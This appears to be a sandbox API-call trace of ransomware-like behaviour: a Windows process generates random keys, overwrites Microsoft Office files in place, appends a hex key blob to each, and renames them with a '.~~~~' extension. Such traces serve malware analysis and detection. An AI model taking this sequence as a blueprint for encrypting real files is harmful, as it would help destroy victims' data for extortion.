	[0131.676] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.676] GetLastError () returned 0x0
	[0131.676] GetLastError () returned 0x0
	[0131.678] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.679] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0131.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.681] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.681] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.681] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.681] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.681] CloseHandle (hObject=0x120) returned 1
	[0131.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0131.682] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css.~~~~")) returned 1
	[0131.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc708 | out: hHeap=0x300000) returned 1
	[0131.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0131.684] GetLastError () returned 0x0
	[0131.914] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1500) returned 1
	[0131.915] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.915] CryptReleaseContext (hProv=0x3a1500, dwFlags=0x0) returned 1
	[0131.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0131.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0131.915] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25190513871) returned 1
	[0131.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb811cb70, dwHighDateTime=0x1d60e1e)) 
	[0131.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0131.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0131.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0131.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29a8df8
	[0131.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a8df8 | out: hHeap=0x300000) returned 1
	[0131.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0131.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0131.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0131.916] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.916] GetLastError () returned 0x0
	[0131.916] GetLastError () returned 0x0
	[0131.916] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.916] GetLastError () returned 0x0
	[0131.917] GetLastError () returned 0x0
	[0131.919] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.919] WriteFile (in: hFile=0x114, lpBuffer=0x2a620c0*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a620c0*, lpNumberOfBytesWritten=0x1f8fec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0131.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a620c0 | out: hHeap=0x300000) returned 1
	[0131.921] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.921] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.924] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.924] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.925] CloseHandle (hObject=0x114) returned 1
	[0131.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837260
	[0131.925] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css.~~~~")) returned 1
	[0131.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2837260 | out: hHeap=0x300000) returned 1
	[0131.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0131.927] GetLastError () returned 0x0
	[0131.928] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1478) returned 1
	[0131.929] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.929] CryptReleaseContext (hProv=0x3a1478, dwFlags=0x0) returned 1
	[0131.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0131.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0131.929] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25191900162) returned 1
	[0131.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8142cd0, dwHighDateTime=0x1d60e1e)) 
	[0131.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0131.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0131.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0131.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28239c0
	[0131.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28239c0 | out: hHeap=0x300000) returned 1
	[0131.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0131.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837260
	[0131.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0131.930] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.930] GetLastError () returned 0x0
	[0131.930] GetLastError () returned 0x0
	[0131.930] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.930] GetLastError () returned 0x0
	[0131.930] GetLastError () returned 0x0
	[0131.932] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff805, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.932] WriteFile (in: hFile=0x114, lpBuffer=0x2a620c0*, nNumberOfBytesToWrite=0x7fb, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a620c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x7fb, lpOverlapped=0x0) returned 1
	[0131.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a620c0 | out: hHeap=0x300000) returned 1
	[0131.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.934] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.934] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.935] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.935] CloseHandle (hObject=0x114) returned 1
	[0131.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837260
	[0131.935] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.~~~~")) returned 1
	[0131.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2837260 | out: hHeap=0x300000) returned 1
	[0131.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0131.937] GetLastError () returned 0x0
	[0131.938] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a13f0) returned 1
	[0131.939] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.939] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0131.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0131.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0131.939] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25192940021) returned 1
	[0131.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8168e30, dwHighDateTime=0x1d60e1e)) 
	[0131.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0131.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0131.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0131.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28239f8
	[0131.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28239f8 | out: hHeap=0x300000) returned 1
	[0131.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0131.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837260
	[0131.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0131.940] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.940] GetLastError () returned 0x0
	[0131.940] GetLastError () returned 0x0
	[0131.941] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.941] GetLastError () returned 0x0
	[0131.941] GetLastError () returned 0x0
	[0131.944] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.944] WriteFile (in: hFile=0x114, lpBuffer=0x2a620c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a620c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0131.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a620c0 | out: hHeap=0x300000) returned 1
	[0131.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.948] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.095] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.095] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.095] CloseHandle (hObject=0x114) returned 1
	[0132.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.095] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.~~~~")) returned 1
	[0132.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1c08 | out: hHeap=0x300000) returned 1
	[0132.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0132.111] GetLastError () returned 0x0
	[0132.265] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a13f0) returned 1
	[0132.266] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.266] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.267] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25225678941) returned 1
	[0132.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8488b10, dwHighDateTime=0x1d60e1e)) 
	[0132.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0132.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0132.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29abb78
	[0132.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29abb78 | out: hHeap=0x300000) returned 1
	[0132.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0132.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0132.267] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.268] GetLastError () returned 0x0
	[0132.268] GetLastError () returned 0x0
	[0132.268] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.268] GetLastError () returned 0x0
	[0132.268] GetLastError () returned 0x0
	[0132.280] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe9e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.280] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x161d, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x161d, lpOverlapped=0x0) returned 1
	[0132.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0132.283] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.283] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.283] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.283] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.283] CloseHandle (hObject=0x114) returned 1
	[0132.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x397d98
	[0132.283] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif.~~~~")) returned 1
	[0132.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x397d98 | out: hHeap=0x300000) returned 1
	[0132.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0132.285] GetLastError () returned 0x0
	[0132.285] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.286] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.286] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.286] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25227618173) returned 1
	[0132.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb84d4dd0, dwHighDateTime=0x1d60e1e)) 
	[0132.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0132.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0132.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa7b0
	[0132.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa7b0 | out: hHeap=0x300000) returned 1
	[0132.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398be8
	[0132.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
